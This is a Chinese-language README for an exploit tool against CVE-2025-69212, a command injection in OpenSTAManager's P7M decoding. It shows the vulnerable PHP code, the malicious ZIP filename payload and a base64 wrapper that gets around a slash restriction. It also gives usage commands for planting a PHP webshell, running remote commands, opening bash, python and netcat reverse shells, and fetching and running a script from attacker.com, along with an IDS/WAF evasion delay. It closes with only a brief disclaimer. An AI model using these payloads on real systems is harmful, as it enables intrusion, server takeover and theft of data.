| 字段 | 详情 |
|---|
| CVE ID | CVE-2025-69212 |
| 严重性 | 严重(CVSS 4.0:9.4) |
| CWE | CWE-78:操作系统命令注入 |
| 受影响版本 | OpenSTAManager <= 2.9.8 |
| 漏洞函数 | XML::decodeP7M(),位于 src/Util/XML.php |
| 攻击向量 | 上传的 ZIP 压缩包中的恶意文件名 |
| 身份验证 | 需要(任何具有发票导入权限的用户) |
| 影响 | 以 Web 服务器用户身份完全远程执行代码 |
OpenSTAManager v2.9.8 及更早版本在 P7M(签名 XML)文件解码功能中存在一个严重的操作系统命令注入漏洞。src/Util/XML.php 中的 decodeP7M() 方法将用户控制的文件名直接传递给 PHP 的 exec() 函数,而不进行清理,从而允许经过身份验证的攻击者在服务器上执行任意系统命令。
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
$file 参数(源于上传的 ZIP 压缩包中的文件名)被双引号包围,但从未使用 escapeshellarg() 进行清理。攻击者可以构造一个 .p7m 文件名,该文件名能够突破双引号上下文并注入任意 shell 命令。
plugins/importFE_ZIP/actions.php:126 — 处理包含电子发票的 ZIP 上传时的主要向量plugins/importFE/src/FatturaElettronica.php:56 — 处理单个 .p7m 文件的构造函数| 功能 | 描述 |
|---|---|
--check | 验证目标是否易受攻击(创建并检查标记文件) |
--webshell | 通过操作系统命令注入部署 PHP webshell |
--rce | 通过已部署的 webshell 进行交互式命令执行 |
--reverse-shell | 触发反向 Shell(python、nc、nc-e 方法) |
--cmd | 盲执行命令(即发即忘) |
--shell-dir | 自定义 webshell 写入目录 |
--method | 反向 Shell 方法选择 |
--proxy | HTTP 代理支持(Burp Suite) |
--delay | 请求限速以规避 IDS/WAF |
| 自动检测 | 自动发现 importFE_ZIP 模块/插件 ID |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# 使用凭据登录
python3 exploit.py -t http://target.com -u admin -p secret --check
# 使用现有会话 cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# 自动检测插件并验证漏洞
python3 exploit.py -t http://target.com -u admin -p secret --check
# 使用已知模块/插件 ID
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# 将 webshell 部署到默认目录(files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# 自定义目录和文件名
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# 部署 webshell + 交互式 Shell
python3 exploit.py -t http://target.com -u admin -p secret --rce
# 使用之前运行中已有的 webshell
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash 反向 Shell(默认,非常可靠)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python 反向 Shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# 使用 mkfifo 的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# 使用 -e 标志的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# 执行命令(不返回输出)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# 下载并执行 payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# 通过 Burp Suite 代理
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# 带请求延迟(2 秒)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# 跳过 SSL 验证
python3 exploit.py -t https://target.com -u admin -p secret --check -k
目标:
-t, --target 目标基础 URL
身份验证:
-u, --user 登录用户名
-p, --password 登录密码
-c, --cookie 现有 PHPSESSID 值
操作:
--check 验证目标是否易受攻击
--webshell 部署 PHP webshell
--rce 通过 webshell 进行交互式 shell
--reverse-shell 反向 Shell(LHOST LPORT)
--cmd COMMAND 盲命令执行
Shell 选项:
--shell-dir DIR webshell 写入目录(默认:files)
--shell-name NAME 自定义 webshell 文件名
--method METHOD 反向 Shell 方法:bash, python, nc, nc-e
插件检测:
--module-id ID OpenSTAManager 模块 ID
--plugin-id ID importFE_ZIP 插件 ID
网络:
--proxy URL HTTP 代理 URL
-k, --no-ssl-verify 禁用 SSL 验证
--delay SECONDS 请求之间的延迟(秒)
该漏洞利用工具构造一个包含单个 .p7m 文件(带有恶意文件名)的 ZIP 压缩包:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
当 OpenSTAManager 处理此文件时,生成的 exec() 调用变为:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
Shell 将分号解释为命令分隔符,从而在已终止的 openssl 调用与尾随的 echo 之间执行注入的命令。
关键: PHP 的
ZipArchive::extractTo()根据 ZIP 规范将文件名中的正斜杠(/)视为目录分隔符。恶意文件名中的任何/都会导致压缩包条目被拆分为目录,从而破坏漏洞利用 payload。
所有注入的命令必须完全避免使用 /。为了完全绕过此限制并防止 PHP exec() 挂起(这可能会占用服务器工作线程并导致超时),该漏洞利用工具现在会自动将 payload 包装为 Base64 并在后台执行:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
这允许我们在内部 payload 中自然地使用 /(例如 /dev/tcp/10.10.14.5/4444),而不会破坏 ZIP 结构。
| 方法 | Payload | 需要 |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | 支持 -e 的 netcat |
bash 方法现在是默认方法,因为它在 Linux 目标上最可靠且最原生。
通过 importFE_ZIP 插件上传 ZIP 压缩包
└── actions.php 分发到插件处理程序
└── ZipArchive::extractTo() 解压文件
└── 遍历 .p7m 文件
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── Shell 解释注入的命令
1. --check → 通过标记文件确认 RCE
2. --webshell → 将 PHP Shell 放入 files/ 目录
3. --rce → 交互式命令执行
4. 枚举 → id, cat /etc/passwd, ifconfig
5. 横向移动 → 向攻击者发送反向 Shell,后渗透利用
此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是非法的。请始终在获得适当授权后再进行测试。作者对滥用行为不承担任何责任。